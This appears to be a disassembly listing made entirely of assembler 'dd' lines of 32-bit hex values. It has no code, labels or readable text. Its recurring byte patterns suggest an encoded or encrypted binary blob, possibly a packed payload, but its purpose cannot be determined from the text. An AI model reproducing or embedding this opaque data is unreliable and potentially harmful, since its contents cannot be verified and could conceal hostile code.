		dd 3256BAB1h, 3D565D4Dh, 3256A336h, 0B35937B1h,	3256ABB1h
		dd 2A9654D7h, 32568B51h, 0DB567544h, 3256BAB9h,	7478EB43h
		dd 0D7164B4h, 0BA5957B1h, 3256ABAFh, 324E53BEh,	21BFEAB1h
		dd 0A05675B1h, 0E6F9B709h, 8D5B15F4h, 0DAEBD9EEh, 12917421h
		dd 3256CB4Eh, 324457BEh, 3FBFEAB1h, 265675B1h, 4B79854Ah
		dd 0B9BFF48Fh, 0F1135FB7h, 0BF5957B1h, 3256ABB6h, 32575BBEh
		dd 52A3EAB1h, 32567359h, 698ECEB1h, 874ADD40h, 0E4DDF5D9h
		dd 0DB5657D0h, 3256ABB7h, 941AF2A0h, 0B936E50Fh, 539AFF42h
		dd 0B936BAB1h, 32563C41h, 325A22BEh, 35BF57B1h,	0C656ABB1h
		dd 0A9017DD3h, 32564ECEh, 32567A58h, 0D355ECB1h, 22045A33h
		dd 0DB87006Bh, 0DE41ECF2h, 0E8E1A4D1h, 325356BEh, 0B330EAB1h
		dd 53C19852h, 32AABAB1h, 3253B4B1h, 7B11AEB1h, 52AAC41Ah
		dd 0B0945C30h, 0B459C180h, 3256EAA6h, 32566459h, 8CDBECB1h
		dd 98EEB415h, 71D8DEF8h, 83207347h, 530C717Dh, 3BBFD5B1h
		dd 0C056EAB1h, 30211B70h, 0EBC9284Eh, 52A35DB1h, 0F0E1A1D1h
		dd 325636D0h, 3256BF58h, 0EE5965B1h, 0FD301E27h, 16603CC9h
		dd 0AE9CE207h, 86242349h, 0DB56AE3Ah, 325657B9h, 8E0360EEh
		dd 0B144570h, 0B1598AD1h, 325675B1h, 70C205D7h,	0ECDD3BD0h
		dd 3D56AED0h, 32565A38h, 325E42B1h, 3EC3D5B1h, 0DBEF82B4h
		dd 3256200Ah, 3256B358h, 76FFFEB1h, 9C37F746h, 3256235Fh
		dd 325B42D1h, 636BD5B1h, 629DF6DDh, 0A60060B5h,	0CEF6202Ah
		dd 3FD752D0h, 5256AEB1h, 0C382BA08h, 32D1A4E9h,	5356D5B1h
		dd 32AAEAB1h, 3DBF15B1h, 6056BAB1h, 0E8DBE744h,	158FDDC8h
		dd 4A2595B5h, 0F5D7461Ch, 765D41DEh, 0F3D78AD0h, 25AD3320h
		dd 0DB56BAD0h, 32565DB7h, 0A750C91Dh, 32560600h, 3256A258h
		dd 4B7517B1h, 5093263Bh, 32568BBEh, 325730BEh, 32AE5DB1h
		dd 324247B1h, 704E57B1h, 69B834C0h, 0F1ED1A8Eh,	0FD0ECB33h
		dd 9803348Bh, 32568655h, 53090ED1h, 3EBFAEB1h, 5B5657B1h
		dd 0B9B6B2AEh, 70E06B3Eh, 32C4025Eh, 88AA15B1h,	409795A0h
		dd 3256A5D0h, 325721BEh, 32AF57B1h, 325E42B1h, 0CB50D5B1h
		dd 4F92EFB1h, 3256FAFFh, 325E52D1h, 1E015DB1h, 0BD3C78B3h
		dd 6AAA8C16h, 53FB5931h, 0B959D5B1h, 3256EABBh,	32567058h
		dd 0D0D89BB1h, 32566228h, 0B930CED1h, 32D45840h, 5356ABB1h
		dd 32562DD0h, 325E6FBEh, 3D3675B1h, 85596A06h, 32563C70h
		dd 0CB56AE44h, 32AE57B1h, 33D3A4B1h, 0C756D5B1h, 0B236EAB1h
		dd 3237AD7Fh, 33D5B5B1h, 0CE565DB1h, 34BFAEB1h,	0B15657B1h
		dd 8EBE227Ah, 0DB56D5DBh, 3256EAB9h, 6D20AF79h,	0B6890215h
		dd 0BE595DB1h, 3256AEBBh, 32D058D1h, 5256ABB1h,	3256B4D0h
		dd 0DB56EA48h, 325675BDh, 0BBCD43F2h, 27E851A9h, 0C6953B39h
		dd 32AE57B1h, 21D9A4B1h, 0DB56D5B1h, 3256EABFh,	0E013B340h
		dd 2A8A8335h, 17E2C958h, 3256EA6Dh, 36EE31D1h, 228C2ABCh
		dd 535A370Ah, 0B336EAB1h, 0F25A1C62h, 3256DBFAh, 325BDDBEh
		dd 3ABFAEB1h, 5657B1h, 98EFF0D1h, 3201CB81h, 0D8D68AB1h
		dd 0E3DD1381h, 0DB56BAD0h, 32565DA5h, 0A5AD425Dh, 6D92F8CCh
		dd 0F9B12B53h, 0CF6E410Ch, 182B22DDh, 0CEAA75B1h, 32AABAB1h
		dd 3251B4B1h, 0A5E4AEB1h, 0C737F91Bh, 0CB56AB26h, 0BC59D5B1h
		dd 3256EABAh, 32567358h, 51CFC4B1h, 326D1406h, 325A47B1h
		dd 977857B1h, 36940C51h, 0ED17B14Eh, 3256A2E6h,	0DB56754Dh
		dd 3256BABFh, 0F1548EE8h, 46B390Ah, 0A3DC2B01h,	32561115h
		dd 32473CD1h, 8CEAEAB1h
		dd 43AA3974h, 46803E80h, 0C87142A6h, 54EF0C0Eh,	80FB8430h
		dd 0CB56ABD0h, 0B159D5B1h, 3256EABFh, 32DE7AD1h, 3D56BAB1h
		dd 32565D3Dh, 3256CFB1h, 3244D4BEh, 3FBFABB1h, 1756D5B1h
		dd 0E197BB49h, 5CE802FBh, 193A7C27h, 3EBF5DB1h,	3956AEB1h
		dd 0A1752BA6h, 1A568D25h, 32CF6202h, 325B03B1h,	27D975B1h
		dd 34EF459Eh, 18931936h, 3223A254h, 3ED258B1h, 3D56ABB1h
		dd 3256D331h, 32D4E5B1h, 525675B1h, 325036BEh, 0B2595DB1h
		dd 3256AEB1h, 53ADE0BEh, 3BBFABB1h, 3356D5B1h, 0B180A737h
		dd 0B5D32FE7h, 0B059BAB1h, 32565DB9h, 32542FBEh, 533657B1h
		dd 39BFABB1h, 9356D5B1h, 99056567h, 0EBF0343Ch,	3256B4EDh
		dd 54A4D6D1h, 53E4BC0Eh, 3250D2BEh, 6236ABB1h, 53BA5FEFh
		dd 0B936EAB1h, 34D47A68h, 3D56BAB1h, 32565D33h,	3256CFB1h
		dd 30D058D1h, 0B956ABB1h, 32AFB469h, 2ADAE5B1h,	0DB5675B1h
		dd 3256BAA2h, 2AE4E040h, 0ABFFE05Eh, 1463A7C5h,	4F94DDB6h
		dd 327C9DDDh, 35DFE5B1h, 3D5675B1h, 3256BB38h, 0BE59A5B1h
		dd 3256AEBDh, 3250D9BEh, 0BB59ABB1h, 3256D5B1h,	3D36EAB1h
		dd 0FAD78B0Eh, 7F44A8F1h, 52565DD0h, 32D2A1D1h,	535657B1h
		dd 7C992AD7h, 32AAB4A2h, 325D03B1h, 0D86675B1h,	6ECEBD59h
		dd 63127E2Eh, 0BF59CEC4h, 325657B1h, 32D4A4E1h,	6856D5B1h
		dd 0CA56EAD0h, 3D56754Dh, 3256BB35h, 3256A8B1h,	325021BEh
		dd 3D3657B1h, 53A3600Eh, 32A3D5B1h, 52AE8AB1h, 54548631h
		dd 5BA06330h, 32AF3CD0h, 36DDA1B1h, 525657B1h, 3237CAD1h
		dd 32562DB1h, 0D6896BD1h, 3D71E7E2h, 3256B837h,	53373DB1h
		dd 5256AE48h, 3242BFD1h, 1313ABB1h, 58EB0C48h, 762B4095h
		dd 0CD89ACCAh, 0DF0B0B58h, 0B20F6769h, 0DB37AF6Dh, 325657BDh
		dd 3257AC9h, 0F7855F47h, 9B2171BEh, 525675D0h, 989D3BE3h
		dd 68706B64h, 53794A31h, 0DA3657B1h, 3256ABA0h,	1CD86057h
		dd 0BF7E50FFh, 788303E1h, 0CEF49268h, 32D452FEh, 6C56AEB1h
		dd 4930EED7h, 5256ABD0h, 530D6544h, 8536EAB1h, 3DD57A0Ch
		dd 0DB56BAB1h, 32565DBBh, 0BF04FC38h, 8D0BAC33h, 3237A45Eh
		dd 3ED7DAB1h, 3D56EAB1h, 3256733Ch, 32DEB5B1h, 32565DB1h
		dd 35D5A1B1h, 3D5657B1h, 3256AA34h, 325620B1h, 5256EA4Dh
		dd 22BF7E00h, 1C56BAB1h, 0BC19B730h, 3FDD6011h,	90E7E341h
		dd 530CF05Ah, 3256C458h, 50B4CBB1h, 2E79A9A7h, 0F3C49B4Dh
		dd 640251BFh, 32568284h, 52565744h, 3256CA44h, 32562C4Dh
		dd 0DB56EA48h, 325675A3h, 3A7FB4A5h, 288F6197h,	9BFEBAD6h
		dd 2CF73992h, 32565D27h, 324458BEh, 0BB59EAB1h,	325675BDh
		dd 3256BD58h, 0B64C39B1h, 75CD51F0h, 613657B1h,	3256A159h
		dd 0C84B52B1h, 0EF5B4C4Ch, 6D032593h, 323742EAh, 33D852B1h
		dd 0CE56AEB1h, 0B85957B1h, 3256ABBDh, 32505FBEh, 0BC59EAB1h
		dd 325675B1h, 32A3BAB1h, 21D752B1h, 0DB56AEB1h,	325657BFh
		dd 760CF41Dh, 0DD7EA9DFh, 0DBFEBEAFh, 3256C2F5h, 32573ABEh
		dd 0CBAE5DB1h, 0B459AEB1h, 325657BBh, 0DE212D1h, 0F4D6F2EFh
		dd 32568B03h, 0C8E97AD1h, 3256AA59h, 0B77650B1h, 977643A4h
		dd 76622953h, 829777A1h, 6B046420h, 325616D0h, 3257F3BEh
		dd 32AABAB1h, 3256A5B1h, 0CBE4F9D1h, 3259BEE8h,	0D0A8ABB1h
		dd 9FA7AB58h, 0BA90C05Dh, 0CDE0D0DDh, 3256DB97h, 325ED3BEh
		dd 0B759AEB1h, 325657B3h, 3256CAD1h, 3256C658h,	0AB8BB0B1h
		dd 0E5A04131h, 725FFFC6h, 43FD2A6Ch, 1E399337h,	32AE57B1h
		dd 324642B1h, 0C5AED5B1h, 3E349A9Ch, 5F903C59h,	0D568B513h
		dd 325622D8h, 3D56AE44h, 3256563Ch, 325652B1h, 0ECD7B3D1h
		dd 0F8DD93EEh, 525675D0h, 0CA05E0E6h, 32563CE8h, 528725D1h
		dd 2BAF8130h, 5337DA6Dh, 77E029D1h, 3D56EAD0h, 32567D3Bh
		dd 30D1B5B1h, 52565DB1h, 325D47D0h, 15FC57B1h, 0EE2F566Eh
		dd 0BB3CD5E9h, 3D56EA18h, 3256743Fh, 325646B1h,	32565258h
		dd 0BFB943B1h, 43D9338Ch, 6C3A8013h, 54093D23h,	32A3EAB1h
		dd 32539CB1h, 0D9ADBAB1h, 32FE42C3h, 22BF52B1h,	0B95657B1h
		dd 96D2A4D9h, 76CB037Eh, 253CEAAh, 32808752h, 20BF4FB1h
		dd 0B1565DB1h, 18E489D6h, 8FE1B09Dh, 0C8B51319h, 2F85D7F2h
		dd 0C756EADFh, 3D3675B1h, 3256BC35h, 0D490DCB1h, 8C284449h
		dd 1AE7C07Dh, 0B459CBD0h, 3256D5B2h, 53A761D7h,	0B45975B1h
		dd 3256BAB0h, 3D565D4Dh, 3256BF3Fh, 325ABEB1h, 9D7CABB1h
		dd 0BAE8DC1Ah, 0C7B87BC5h, 325656DFh, 0DB56BA4Dh, 32565DB7h
		dd 0B50ADDCh, 32563E8Fh, 32512DBEh, 0B459D5B1h,	3256EAB0h
		dd 0DB567548h, 3256BAA0h, 9AA60C28h, 9093A264h,	0BAF9686h
		dd 3C27E84Eh, 0DB56D5CDh, 3256EAB8h, 0B412C700h, 9346A5DBh
		dd 0DB565D19h, 3256AEA2h, 8138D2FAh, 0C453118Ch, 10A5A3B7h
		dd 67870827h, 3269980Bh, 23BEDAB1h, 0EE565DB1h,	626105BCh
		dd 5ACC04E1h, 8A3F9D75h, 60A3AF9Bh, 68915DBEh, 32561449h
		dd 0DBBC0CD1h, 32565DA2h, 0A98AECB4h, 8C5975F3h, 2BE19887h
		dd 0D2F63579h, 538C7B79h, 325D9CD1h, 0C2AFBAB1h, 377CB831h
		dd 811DC257h, 3246BF39h, 0BE3DABB1h, 8F8DF07Ch,	0DC101355h
		dd 9008C92Dh, 3CBEECD3h, 7565DB1h, 119D2354h, 7BD52861h
		dd 0DB79446Eh, 53098E30h, 0B859EAB1h, 325675A8h, 3256AE58h
		dd 0D78E93B1h, 0F144D643h, 412C373Ah, 0D0D12F21h, 0A334EAA9h
		dd 85598A7Dh, 0B159157Fh, 3256BAB1h, 53374106h,	3FBFAEB1h
		dd 0E45657B1h, 42404551h, 179DDAC4h, 0D8DA5838h, 32566758h
		dd 26002FB1h, 221D4678h, 1BEC278Ch, 0C3B3D8Dh, 3222FD04h
		dd 35DBDAB1h, 3D56EAB1h, 32567431h, 325643B1h, 0DB565D49h
		dd 3256AEBCh, 0E4A72E79h, 300BEFEEh, 633F646Ch,	0CA56EA51h
		dd 0BF5975B1h, 3256BAAFh, 324ED5BEh, 21BFAEB1h,	9A5657B1h
		dd 2DF9F5C2h, 72614E7Eh, 0D96FA78Ah, 30514779h,	3256925Eh
		dd 3247D1BEh, 3EBFAEB1h, 615657B1h, 55A7F392h, 0FBB86844h
		dd 32D9665Ch, 0BF5915B1h, 3256BAB1h, 5395D6D7h,	5436AEB1h
		dd 0EBCAB830h, 325727BEh, 53AED5B1h, 0BE59EAB1h, 325675BFh
		dd 32D3B5D1h, 3D565DB1h, 3256AE33h, 0B15936B1h,	3256ABB0h
		dd 0DB56D548h, 3256EAB4h, 40F1A5AAh, 0DB56BA32h, 32565DB8h
		dd 8F59D960h, 96F29C81h, 3D56ABDEh, 3256DA38h, 325C03B1h
		dd 0EA2775B1h, 0EA4F5D1Fh, 133BC2F7h, 0BA59AEB1h, 325657B3h
		dd 3256CAD1h, 5256D548h, 3256E759h, 0EF789AB1h,	24425B4h
		dd 0A846CFA7h, 6DAA6C26h, 539EE0BEh, 3256A658h,	0AF6A1FB1h
		dd 45A62C53h, 8C30CD5h,	3256204Eh, 325ED3BEh, 0B059AEB1h
		dd 325657B3h, 3256CAD1h, 325751BEh, 32AAEAB1h, 21D87AB1h
		dd 0DB56BAB1h, 32565DBFh, 21830723h, 7C28CBE1h,	0B5B4CFFBh
		dd 32561411h, 0DB56EA44h, 325675BCh, 70C3CB89h,	6746AEFDh
		dd 0C2D6DBC2h, 52565750h, 3ABE5B3Ah, 0A056D5B1h, 0BEFC274Ah
		dd 3D9A5E73h, 3256BA33h, 0DB3707B1h, 3256AEBBh,	37D88DC1h
		dd 70CD77F3h, 3256DA93h, 3256E358h, 9A57EBB1h, 34CAC23Dh
		dd 3256AAFDh, 32512BBEh, 0B55957B1h, 3256ABB0h,	0CE56D54Dh
		dd 0B959EAB1h, 325675BDh, 325034BEh, 0BF595DB1h, 3256AEB1h
		dd 0B33657B1h, 0AE975358h, 0BAB55482h, 530C58D2h, 3FBF75B1h
		dd 0C256BAB1h, 0E1808028h, 0B44E9D20h, 0D5093857h, 0B336ABB1h
		dd 9C1ABC61h, 32568BB1h
		dd 32566158h, 0C1304AB1h, 0DB733623h, 0F044DFEEh, 115BB3B0h
		dd 0A93ABD43h, 5256D583h, 3256E159h, 5539CBB1h,	6A722A62h
		dd 8A229C89h, 325621BEh, 0B30C57B1h, 5CE2AE77h,	3256B4BCh
		dd 325767BEh, 3DAA75B1h, 3256A933h, 3258B4B1h, 609AAEB1h
		dd 1972A686h, 82B653AFh, 226BB457h, 32A3EAB1h, 0B15989B1h
		dd 3256BAAAh, 3247B4D1h, 0BAABAEB1h, 99064FFCh,	3EA07039h
		dd 8FF626EDh, 5468DB9Ah, 3237AA3Ah, 325646B1h, 32565A58h
		dd 53ABB9B1h, 0DEF52E9Bh, 0B336ABB1h, 0E3F0EA73h, 32DFE58Dh
		dd 535675B1h, 32AABAB1h, 3259B4B1h, 0DEB3AEB1h,	63D15E93h
		dd 0C11FD467h, 360D884Eh, 0DB56EA87h, 325675BFh, 15DABF49h
		dd 7465CAB0h, 8CD86BC1h, 23BF9716h, 0B756ABB1h,	16560738h
		dd 0F87898F9h, 36A2C923h, 0AFF0B708h, 0B4595DB1h, 3256AEBDh
		dd 3250D4BEh, 0B759ABB1h, 3256D5B1h, 0DB36EAB1h, 325675BAh
		dd 0EED60B53h, 0CB72D260h, 53FB69B7h, 21BF57B1h, 0EE56ABB1h
		dd 1980B0F6h, 7CA0B7A1h, 0E573A4E3h, 1E26CD2Dh,	32560DF4h
		dd 3D56AE4Dh, 32565639h, 325652B1h, 3BDFDA44h, 5256EAB1h
		dd 549CFED7h, 532DD50Eh, 3EBF5DB1h, 0D856AEB1h,	0A218F314h
		dd 5DB29018h, 32344D9Ch, 325303B1h, 89AD75B1h, 327FBF9Eh
		dd 325BB4B1h, 6B84AEB1h, 5D743547h, 0F84B3C2Ah,	32629E1Eh
		dd 325A03B1h, 0D73575B1h, 47140E5Ah, 79EDCAE8h,	32566C41h
		dd 588CD6D1h, 8B05F306h, 5B3A95ECh, 0CA56EAD0h,	0B05975B1h
		dd 3256BABDh, 3250D7BEh, 0B359AEB1h, 325657B1h,	0CBAFABB1h
		dd 38BFD5B1h, 3156EAB1h, 0DB5734DFh, 419B8022h,	3D565D5Ch
		dd 3256A232h, 0B35937B1h, 3256ABB1h, 66C36BD7h,	0CB56EAD0h
		dd 34BF75B1h, 7B56BAB1h, 98F92FCh, 0DB56AE85h, 325657BDh
		dd 3F7C5627h, 7DB773A8h, 354045AEh, 6786CBD1h, 3237E111h
		dd 35BF3DB1h, 5856AEB1h, 80524012h, 15EC5808h, 533C40A2h
		dd 0B659EAB1h, 325675A6h, 3256A858h, 0A54DA8B1h, 3E7B352Ch
		dd 2540280Ch, 1B318E10h, 322B4376h, 324503B1h, 0A7D75B1h
		dd 2E23ADEBh, 71425DD3h, 209E6585h, 0F1AD1FC2h,	0DB56ABF3h
		dd 3256D5A5h, 2346050Bh, 9A4558B1h, 6654708Fh, 422A8B0Dh
		dd 47AC54Ah, 543657B1h,	65677030h, 3256C658h, 0BB3790B1h
		dd 0F9908A27h, 0AF844E53h, 0D391B99h, 0A2829202h, 0DB5657D0h
		dd 3256ABB9h, 0DF1CF4F5h, 0E799137Eh, 0B23675B1h, 0D3D7F954h
		dd 346EC6EAh, 5256AED0h, 3EED31D1h, 32D7A433h, 5356D5B1h
		dd 5256EAD0h, 325BF9BEh, 35BEBAB1h, 0F0565DB1h,	0B7BA9830h
		dd 0DA0D43C8h, 3256ABB9h, 0D48C0DBCh, 0F6A87EBAh, 89D1BE30h
		dd 530FF103h, 3D365DB1h, 3256AD3Dh, 0C1DD31B1h,	39A911E2h
		dd 530CD1B7h, 0BF59EAB1h, 325675A3h, 325D53D1h,	0F27F5DB1h
		dd 0FD15333Eh, 0FD911FCEh, 3256CA62h, 325750BEh, 52A3EAB1h
		dd 689BF60Ah, 325353E4h, 0E6825DB1h, 5325B999h,	0B85957B1h
		dd 3256ABA6h, 3256C758h, 32514AB1h, 0C76C9EB2h,	48D7A4A3h
		dd 550B42Bh, 32D71574h,	3259BEB1h, 0F3A7ABB1h, 0DCE82242h
		dd 2C9DD8F5h, 4D31FEA9h, 3D56BA21h, 32565A34h, 33D5A1B1h
		dd 0CE5657B1h, 5436ABB1h, 0DDD6133Ah, 32568BA4h, 0C8E17AD1h
		dd 539831D7h, 39BF5DB1h, 0B56AEB1h, 0DB90DA5Fh,	0BA0D4A4Bh
		dd 3BBF5C5Ah, 0CA56EAB1h, 5F6384E7h, 0B3B75A3Eh, 20BF5DB1h
		dd 8556AEB1h, 972A1632h, 0A29029F7h, 0B6B26720h, 0DCE0586Ah
		dd 0C75675BDh, 21BFBAB1h, 0AF565DB1h, 1DDA23BDh, 0CD0A2F7Dh
		dd 10BF35FDh, 5139AFD5h, 32569C1Ch, 0DB56754Dh,	3256BABDh
		dd 0CFFF575Ch, 0A5827FE2h, 0E50E0E3Dh, 32A3ABB1h, 325620B1h
		dd 325E64BEh, 0B23675B1h, 8D594966h, 32563C4Ah,	0CA56AE4Dh
		dd 0DB565744h, 3256ABB6h, 0EF3309E5h, 52A5857Bh, 159DF4D7h
		dd 3256DB31h, 34EF3BD1h, 325D46F2h, 314B57B1h, 0ADEE4F47h
		dd 0EB03431Eh, 6A09B9D0h, 3D5675D0h, 3256B235h,	30D152B1h
		dd 5256AEB1h, 3256A2D0h, 33DAA448h, 0CE56D5B1h,	0B836EAB1h
		dd 0B38BF577h, 3D56BAD0h, 32564537h, 0B330CEB1h, 0DB4E0E5Eh
		dd 3256ABBDh, 19D8FD24h, 33A06C19h, 1ABB9861h, 325643D0h
		dd 3258B4D1h, 6309AEB1h, 6EB851AFh, 0E4BDA424h,	0E47E18D0h
		dd 53200D31h, 8A3675B1h, 3131F529h, 0F3D73BD1h,	53364131h
		dd 3D3636D0h, 3256A835h, 0FBE1DAB1h, 3256E158h,	4B5E77B1h
		dd 9BAE7700h, 0E1BAF9A2h, 5256AED0h, 70ED31D1h,	32444205h
		dd 991BD5B1h, 0BAF3EC46h, 50D2B834h, 0DCB66CE9h, 3D232DA7h
		dd 7F9E2FD0h, 53119AE9h, 0DBAFABB1h, 3256D5BBh,	26F9278Fh
		dd 3D3DB9A1h, 3256BED0h, 3D565D48h, 3256AF3Eh, 3256ABB1h
		dd 0DB56AB48h, 3256D5B8h, 0BB20C61Ah, 0CE32395Ch, 325C5318h
		dd 5D6C5DB1h, 10A36412h, 6F25EA09h, 32A3ABB1h, 2FDADAB1h
		dd 5256EAB1h, 32566658h, 7EFDBEB1h, 0A36940DBh,	498D15B6h
		dd 0A56CAA97h, 0A9512D3h, 53AF62BEh, 38BFEAB1h,	175675B1h
		dd 35EF9462h, 0C71BEE2h, 3BDFA1FEh, 525657B1h, 4912AD7h
		dd 5333651Bh, 324203D1h, 2D9275B1h, 0FC59083Bh,	51A423C9h
		dd 504E6137h, 800B2355h, 32BE2F49h, 6856D5B1h, 0A5470030h
		dd 35BF73A9h, 5756BAB1h, 48085972h, 60360870h, 6881E0BEh
		dd 0EBD326D0h, 3D50C23Dh, 3256FE36h, 32599CB1h,	914BAB1h
		dd 75D347F6h, 6D4C8F45h, 99972EC9h, 1DD4227Ah, 0CB50CDCEh
		dd 6F5B683Ch, 3D3673A8h, 0B0596006h, 32565DB3h,	0BB37F5E6h
		dd 2A291C33h, 0C1BE57B7h, 0CB56D584h, 32544D59h, 32429CB1h
		dd 554BAB1h, 14DCA690h,	0A6360B1Fh, 33F4600Ch, 0C3CA9275h
		dd 0B0918E32h, 344E9408h, 325675B1h, 324B34BEh,	0BA595DB1h
		dd 3256AEA6h, 32564558h, 48CCDEB1h, 63EF9574h, 7C2DE9A1h
		dd 17EF5CCh, 606CE850h,	32564E58h, 83C88AB1h, 456394D5h
		dd 0D2B6A322h, 37DBF2B9h, 0EEFB4B7Eh, 325FF2BEh, 5436BAB1h
		dd 3D296F0Fh, 0F4375406h, 20439634h, 20BFFDB7h,	6056D5B1h
		dd 3428CECFh, 56B557FFh, 0ABC3C414h, 56670CF9h,	8A04C6F2h
		dd 34BFCB19h, 1356ABB1h, 8A50858Ch, 33E31590h, 52506780h
		dd 53230C4Dh, 0B02CD83Ch, 38BFA8A4h, 385657B1h,	0BD2D0910h
		dd 0A551E89Fh, 52861518h, 0DA608331h, 3256BAA1h, 0BA3F3B87h
		dd 96606708h, 3A4B0A50h, 0B5ECACEBh, 0BB378D44h, 20715334h
		dd 37DA7AB7h, 5256BAB1h, 53AEB13Bh, 0B836AADBh,	323E366Dh
		dd 5256ABA1h, 83323730h, 0B559F399h, 325675B3h,	5A37663Bh
		dd 325550F1h, 3256A658h, 87DF79B1h, 9EB60FF6h, 3D56BF15h
		dd 3256E636h, 32519CB1h, 0B75BAB1h, 39A1CB40h, 0DB865146h
		dd 325657BAh, 0C9FBAD9Eh, 532DB947h, 0DB689809h, 325675A1h
		dd 0E144D269h, 52B5A35Ch, 0B16FDB93h, 3E5D2912h, 324642EBh
		dd 6E6AD5B1h, 47007E32h, 4DD7E8A4h, 0A71579BBh,	0F25D71FDh
		dd 32A12ABEh, 0B85957B1h, 3256ABB0h, 8BD45C4Dh,	3D50F2CFh
		dd 32567431h, 0B0DF46B1h, 344E22B1h, 0B9A825D1h, 3D363669h
		dd 54365106h, 0E7271530h, 5337393Ah, 315B3508h,	35D3B5B1h
		dd 3D565DB1h, 3256AF39h, 0B9AEAFB1h, 5436CB49h,	53361E3Ah
		dd 0F2658BD0h, 33D97A4Dh, 0C756BAB1h, 52AFF742h, 3256AB58h
		dd 4007BCB1h, 53AA1CACh, 363C20E3h, 324167BEh, 20BF75B1h
		dd 1E56BAB1h, 0EC2E7361h, 369746E5h, 0B8A24D85h, 0EF6BD748h
		dd 2256BDE3h, 38BFEAB1h
		dd 395675B1h, 72D4CABCh, 42B0CC6Dh, 3656C694h, 0DBA357B1h
		dd 3256ABB7h, 94610485h, 323C6B56h, 32566658h, 117C49B1h
		dd 0CD96E410h, 68D2AB71h, 4B67FB0Ah, 19F77A9h, 15EF474Eh
		dd 23BFECA3h, 0F75675B1h, 8B3DECE3h, 7E492B2Bh,	7958A88Fh
		dd 0FE011454h, 0B0DF52EBh, 344E54DDh, 3256E258h, 3D22BBB1h
		dd 7F18B161h, 88363C3Fh, 6DAEE663h, 32565958h, 0BED155B1h
		dd 444C5B98h, 6A45772Eh, 534DD7B0h, 4CEF3F3Ah, 34BF5BA9h
		dd 9756AEB1h, 127B30E8h, 0B0596854h, 3256D5BDh,	325064BEh
		dd 0BC5975B1h, 3256BAB1h, 3258B4D1h, 7988AEB1h,	0F9F0C4A4h
		dd 92A67233h, 111E7E21h, 189F6876h, 325673A3h, 3EBFBAF1h
		dd 8C565DB1h, 0D16F3BAFh, 0D3D07AF4h, 0DBFFD31Eh, 3256D5A3h
		dd 0F7ACBF20h, 70F9FE71h, 0C292C8DFh, 9830F4D4h, 0B091C3E6h
		dd 34444DA0h, 3256BBB1h, 325E50BEh, 0BB59EAB1h,	325675B3h
		dd 0CA37DBD1h, 32565A58h, 95A0EAB1h, 6BFE33B9h,	0CCDDCB72h
		dd 538F6ABEh, 33D9E5D1h, 0CB5675B1h, 4CEF003Ah,	3BBF5BA9h
		dd 0C356AEB1h, 4EE751FAh, 0DA9CF704h, 3D56EA32h, 3257E435h
		dd 32509CB1h, 0C3CDBAB1h, 0DBB65A71h, 3046D132h, 321BD3BEh
		dd 0BC59ABB1h, 3256D5BFh, 3256E358h, 656A51B1h,	0D0900E2Eh
		dd 4DD55710h, 0B659AAA1h, 32565719h, 3256AD58h,	291B88B1h
		dd 0B169C3FEh, 37BF6176h, 1756BAB1h, 0A5437A51h, 0CDA90958h
		dd 325BBE4Eh, 3868ABB1h, 303044EDh, 54E54369h, 0F5E80B3Dh
		dd 3257AAF6h, 0B6595DB1h, 3256AEA0h, 32565B58h,	873667B1h
		dd 0B5A1E769h, 2F1F6B4Eh, 0B930156Dh, 325E5248h, 201A5DB1h
		dd 0A21C5C9Eh, 26BFA4E4h, 0DE56ABB1h, 17F873CDh, 9CFF578Fh
		dd 3E7124D7h, 0FC023E0Eh, 6C592086h, 0CDDB47D0h, 0B059A84Eh
		dd 3256ABA1h, 3256DE58h, 0CECE4DB1h, 8FC6572Ch,	0E135AF6Ah
		dd 3258DCBEh, 3BBFAEB1h, 55657B1h, 35C19ED2h, 8BFD2A20h
		dd 3146AD76h, 3D5675B1h, 3256AD32h, 3244B4B1h, 2E36AEB1h
		dd 0C2EE28CEh, 2789A478h, 0F0D6C20Eh, 0C61447A6h, 0CDA94F58h
		dd 3253534Eh, 0A1D85DB1h, 53F6C4E0h, 67AF9449h,	8559CB49h
		dd 34D9DA77h, 0B356EAB1h, 2C3B2872h, 0DEDDDB88h, 3258D8BEh
		dd 3D36AEB1h, 3256573Eh, 32D0A4B1h, 5356D5B1h, 325303D1h
		dd 566675B1h, 0DAE83DE1h, 32565DB1h, 30BC2FEBh,	3D504F2Dh
		dd 3256AA3Ch, 23BF29B1h, 6256EAB1h, 0E4CDA54Eh,	61E0DB60h
		dd 0FC418011h, 0F28A6FE1h, 0B324E53Ah, 5436ADA9h, 8E8D3E30h
		dd 3A1361D0h, 32567858h, 0BC9EBDB1h, 18DF103Ah,	3F25C360h
		dd 0DB3612F9h, 3256ABA1h, 64892FF6h, 6022992Fh,	5CF4C79Eh
		dd 0D0572223h, 53078731h, 0B1A3A838h, 2AD72533h, 5436AFB7h
		dd 86860C30h, 37BF8BD0h, 0CD5675B1h, 23183D91h,	3694A578h
		dd 0B359CEB1h, 325657A3h, 3256A658h, 0AF9C6EB1h, 0E9F56421h
		dd 31737032h, 6D06780Fh, 22BF3DD0h, 8156AEB1h, 6CE40439h
		dd 14C53E69h, 0AF3D3FB4h, 0DADADDB6h, 325675B1h, 88BC3BEBh
		dd 0CB50452Dh, 3256A658h, 9366E4B1h, 0A5613379h, 325C3CA8h
		dd 27F0EAB1h, 0C3EC74B1h, 0B96BF060h, 0B33AEF3Ah, 3DA3A8A9h
		dd 3256563Ah, 806D5EB1h, 344E54C3h, 33F56EBEh, 34BF75B1h
		dd 4156BAB1h, 6FEB17E0h, 0DB682530h, 325657BDh,	45902877h
		dd 3B42C3DBh, 27A0D860h, 0B259AA3Ah, 3256BABAh,	9E93BD1h
		dd 3208144Eh, 3D374572h, 0CA57E407h, 0B2579247h, 32676FBEh
		dd 3CBF75B1h, 556BAB1h,	0EDA2689Fh, 41C2E0D1h, 504B28BBh
		dd 528FA886h, 1E54600Fh, 0BAED8CDCh, 29BF14B9h,	5256BAB1h
		dd 0BE599903h, 3256AEB3h, 19370EE0h, 325E4268h,	0F2ED5B1h
		dd 7137DE50h, 52157EC2h, 325338BEh, 5E95DB1h, 5351EAD0h
		dd 3D66E1D1h, 3256A737h, 32513CB1h, 81B0EAB1h, 0EDC0DC04h
		dd 5215DB63h, 0B8596F06h, 3256AEB7h, 3256DDBEh,	0B937ABB1h
		dd 204B8834h, 27DAE5B7h, 0DB5675B1h, 3256BAA1h,	53230757h
		dd 9454883h, 0FD821E27h, 8E00E6B7h, 14E7583Ah, 0B859ECA3h
		dd 325675A2h, 3256B458h, 7959A8B1h, 5BCABF65h, 538AE7E7h
		dd 528EA3EAh, 0A399500Bh, 0A4B251D6h, 9370636h,	70D4B569h
